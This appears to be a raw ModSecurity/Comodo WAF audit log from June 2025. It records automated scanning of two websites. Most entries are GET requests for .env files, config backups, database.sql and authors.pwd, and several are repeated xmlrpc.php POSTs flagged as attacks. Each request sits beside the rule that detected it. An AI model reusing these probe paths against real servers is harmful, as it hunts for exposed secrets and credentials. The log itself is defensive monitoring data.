[tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/.c9/metadata/environment/.env"] [unique_id "aE85jdafa9gds5d-5EIsSAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022541338528 636781 (- - -) Stopwatch2: 1750022541338528 636781; combined=1728, p1=364, p2=1266, p3=0, p4=0, p5=97, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c6c24a30-Z-- --8a605020-A-- [16/Jun/2025:02:52:25.886501 +0530] aE85kcSAI-lmnIgQu6D4KQAAAAc 185.177.72.210 46078 127.0.0.1 7081 --8a605020-B-- GET /:5000/config.backup HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8a605020-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0b0e1ae5dc470b3fdcbfa403f832dce11750022545; expires=Sun, 15 Jun 2025 22:22:25 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8a605020-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/:5000/config.backup"] [unique_id "aE85kcSAI-lmnIgQu6D4KQAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022545212149 674427 (- - -) Stopwatch2: 1750022545212149 674427; combined=1761, p1=447, p2=1199, p3=0, p4=0, p5=114, sr=128, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8a605020-Z-- --9bfa9d28-A-- [16/Jun/2025:02:52:31.574125 +0530] aE85lmBSQiWwwCa-v2QGLQAAAAQ 185.177.72.210 38180 127.0.0.1 7081 --9bfa9d28-B-- GET /:8443/statisch/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9bfa9d28-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=706e4ab7ce0da2350dc2c5e2052603d11750022551; expires=Sun, 15 Jun 2025 22:22:31 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9bfa9d28-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/statisch/.env"] [unique_id "aE85lmBSQiWwwCa-v2QGLQAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022550899269 674958 (- - -) Stopwatch2: 1750022550899269 674958; combined=1390, p1=314, p2=943, p3=0, p4=0, p5=132, sr=77, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9bfa9d28-Z-- --8703b609-A-- [16/Jun/2025:02:52:52.817416 +0530] aE85q9xCjYf3vhjKXItyoQAAAA8 128.199.112.101 52832 127.0.0.1 7081 --8703b609-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 510 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --8703b609-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --8703b609-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE85q9xCjYf3vhjKXItyoQAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022571883320 934166 (- - -) Stopwatch2: 1750022571883320 934166; combined=2141, p1=358, p2=1356, p3=43, p4=65, p5=201, sr=102, sw=118, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8703b609-Z-- --e8276c18-A-- [16/Jun/2025:02:53:26.298285 +0530] aE85zeCiZPLeFRlDAYwbXwAAAAU 185.177.72.210 36538 127.0.0.1 7081 --e8276c18-B-- GET /_vti_pvt/authors.pwd HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e8276c18-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c2f432f1ed9619ede7ba895ebc043bd81750022606; expires=Sun, 15 Jun 2025 22:23:26 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e8276c18-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".pwd"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".pwd"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/_vti_pvt/authors.pwd"] [unique_id "aE85zeCiZPLeFRlDAYwbXwAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022605512315 786043 (- - -) Stopwatch2: 1750022605512315 786043; combined=1703, p1=319, p2=1271, p3=0, p4=0, p5=112, sr=97, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e8276c18-Z-- --34baa42f-A-- [16/Jun/2025:02:53:42.876460 +0530] aE853iHEjD4mqWjYVm17mQAAABM 185.177.72.210 54662 127.0.0.1 7081 --34baa42f-B-- GET /:9000/front/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --34baa42f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=78c9aa5a3f22c1fbfbd2ec20793b3cfd1750022622; expires=Sun, 15 Jun 2025 22:23:42 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --34baa42f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/front/.env"] [unique_id "aE853iHEjD4mqWjYVm17mQAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022622226253 650270 (- - -) Stopwatch2: 1750022622226253 650270; combined=2341, p1=384, p2=1870, p3=0, p4=0, p5=86, sr=109, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --34baa42f-Z-- --87a0f415-A-- [16/Jun/2025:02:53:43.857342 +0530] aE8538SAI-lmnIgQu6D4SwAAAAc 185.177.72.210 54720 127.0.0.1 7081 --87a0f415-B-- GET /:5601/local/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --87a0f415-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ea6bed3888c5295de66af50e6c5e1acf1750022623; expires=Sun, 15 Jun 2025 22:23:43 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --87a0f415-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/local/.env"] [unique_id "aE8538SAI-lmnIgQu6D4SwAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022623207118 650299 (- - -) Stopwatch2: 1750022623207118 650299; combined=1633, p1=379, p2=1144, p3=0, p4=0, p5=110, sr=91, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --87a0f415-Z-- --0f23985d-A-- [16/Jun/2025:02:53:50.361458 +0530] aE855cSAI-lmnIgQu6D4TgAAAAc 185.177.72.210 50090 127.0.0.1 7081 --0f23985d-B-- GET /page-editor/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0f23985d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f8e5e427d909d7033e282676144b9ff81750022630; expires=Sun, 15 Jun 2025 22:23:50 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0f23985d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/page-editor/.env"] [unique_id "aE855cSAI-lmnIgQu6D4TgAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022629711070 650452 (- - -) Stopwatch2: 1750022629711070 650452; combined=1594, p1=354, p2=1147, p3=0, p4=0, p5=93, sr=85, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0f23985d-Z-- --8f2f8b60-A-- [16/Jun/2025:02:53:52.095158 +0530] aE855yHEjD4mqWjYVm17nQAAABM 128.199.112.101 50184 127.0.0.1 7081 --8f2f8b60-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 500 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --8f2f8b60-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --8f2f8b60-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE855yHEjD4mqWjYVm17nQAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022631158882 936362 (- - -) Stopwatch2: 1750022631158882 936362; combined=2450, p1=358, p2=1559, p3=61, p4=83, p5=240, sr=102, sw=149, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8f2f8b60-Z-- --d30c6c40-A-- [16/Jun/2025:02:54:02.608774 +0530] aE858XwizUED0-SK4eRLagAAAAE 185.177.72.210 51040 127.0.0.1 7081 --d30c6c40-B-- GET /database.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d30c6c40-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4e6950818604b2278f246cebf7ddb79f1750022642; expires=Sun, 15 Jun 2025 22:24:02 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d30c6c40-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/database.sql"] [unique_id "aE858XwizUED0-SK4eRLagAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022641923030 685812 (- - -) Stopwatch2: 1750022641923030 685812; combined=1969, p1=405, p2=1461, p3=0, p4=0, p5=103, sr=114, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d30c6c40-Z-- --b7352e38-A-- [16/Jun/2025:02:54:06.568677 +0530] aE859XwizUED0-SK4eRLbAAAAAE 185.177.72.210 51194 127.0.0.1 7081 --b7352e38-B-- GET /:8008/app/configurationtionura/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b7352e38-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=032212679e3c114c13456972e67de4a81750022646; expires=Sun, 15 Jun 2025 22:24:06 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b7352e38-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/app/configurationtionura/.env"] [unique_id "aE859XwizUED0-SK4eRLbAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022645898777 669971 (- - -) Stopwatch2: 1750022645898777 669971; combined=1776, p1=390, p2=1273, p3=0, p4=0, p5=112, sr=95, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b7352e38-Z-- --eb727304-A-- [16/Jun/2025:02:54:17.593331 +0530] aE86AMSAI-lmnIgQu6D4XAAAAAc 185.177.72.210 36776 127.0.0.1 7081 --eb727304-B-- GET /:8000/.env.production HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --eb727304-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4fa42b6bd9796d5a1cb9e01dc343e48f1750022657; expires=Sun, 15 Jun 2025 22:24:17 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --eb727304-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/.env.production"] [unique_id "aE86AMSAI-lmnIgQu6D4XAAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022656922551 670840 (- - -) Stopwatch2: 1750022656922551 670840; combined=2445, p1=478, p2=1880, p3=0, p4=0, p5=86, sr=110, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --eb727304-Z-- --9417a749-A-- [16/Jun/2025:02:54:20.617292 +0530] aE86A4l8S04UZ4l67-nchAAAAAk 185.177.72.210 47136 127.0.0.1 7081 --9417a749-B-- GET /new/.env.local HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9417a749-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ed366553003aba801b7272a415d6d0571750022660; expires=Sun, 15 Jun 2025 22:24:20 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9417a749-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/new/.env.local"] [unique_id "aE86A4l8S04UZ4l67-nchAAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022659950564 666791 (- - -) Stopwatch2: 1750022659950564 666791; combined=2213, p1=454, p2=1662, p3=0, p4=0, p5=96, sr=102, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9417a749-Z-- --715b933c-A-- [16/Jun/2025:02:54:26.799290 +0530] aE86CsSAI-lmnIgQu6D4YAAAAAc 185.177.72.210 47332 127.0.0.1 7081 --715b933c-B-- GET /:8443/config.php.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --715b933c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3c6ef9ad965402716564da7c5b2c6c8d1750022666; expires=Sun, 15 Jun 2025 22:24:26 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --715b933c-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/:8443/config.php.old"] [unique_id "aE86CsSAI-lmnIgQu6D4YAAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022666123998 